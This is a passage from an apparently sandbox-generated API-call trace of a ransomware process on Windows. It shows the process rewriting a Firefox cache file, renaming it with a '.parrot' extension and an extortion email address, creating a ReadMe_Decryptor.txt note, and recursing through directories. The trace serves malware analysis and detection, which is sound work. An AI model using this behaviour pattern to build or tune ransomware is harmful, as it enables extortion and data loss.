0x606968 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c198 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c198 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178f08 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x31790f0 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x31793c0 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31790f0 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31797f8 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793c0 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x2252f38 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31797f8 | out: hHeap=0x5b0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178f08 [0087.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2252f38 [0087.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178f08 | out: hHeap=0x5b0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2254478 [0087.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2256440 [0087.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2254478 | out: hHeap=0x5b0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2264258 [0087.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2256440 | out: hHeap=0x5b0000) returned 1 [0087.285] WriteFile (in: hFile=0x278, lpBuffer=0x2264260*, nNumberOfBytesToWrite=0x4168, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2264260*, lpNumberOfBytesWritten=0x18e024*=0x4168, lpOverlapped=0x0) returned 1 [0087.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.285] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4167, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.285] CloseHandle (hObject=0x278) returned 1 [0087.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0087.285] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e470 [0087.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0087.285] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225c218 | out: hHeap=0x5b0000) returned 1 [0087.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0087.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0087.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0087.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0087.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.287] GetFileType (hFile=0x278) returned 0x1 [0087.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2252f38 [0087.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.298] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc15804a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc15804a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.298] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc15804a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4168, dwReserved0=0x0, dwReserved1=0x0, cFileName="F17B2d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="F17B2D~1.PAR")) returned 1 [0087.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0087.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0087.331] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.332] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc14c1dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc14c1dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc150e080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc150e080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2C", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15341e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc15341e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc15804a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc15804a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc15804a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc15804a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 0 [0087.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.333] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.333] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A", cAlternateFileName="")) returned 1 [0087.333] lstrcmpW (lpString1="A", lpString2=".") returned 1 [0087.333] lstrcmpW (lpString1="A", lpString2="..") returned 1 [0087.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.333] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.333] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.333] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.334] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.334] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.334] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.334] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.334] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.334] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.334] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.334] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B", cAlternateFileName="")) returned 1 [0087.334] lstrcmpW (lpString1="B", lpString2=".") returned 1 [0087.334] lstrcmpW (lpString1="B", lpString2="..") returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.335] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.335] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.335] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.335] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.335] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.335] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.336] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.336] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1 [0087.336] lstrcmpW (lpString1="C", lpString2=".") returned 1 [0087.336] lstrcmpW (lpString1="C", lpString2="..") returned 1 [0087.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.336] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.336] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.336] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.336] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.336] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 1 [0087.336] lstrcmpW (lpString1="E6", lpString2=".") returned 1 [0087.336] lstrcmpW (lpString1="E6", lpString2="..") returned 1 [0087.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x3178de0 [0087.337] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.337] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.337] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.339] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: 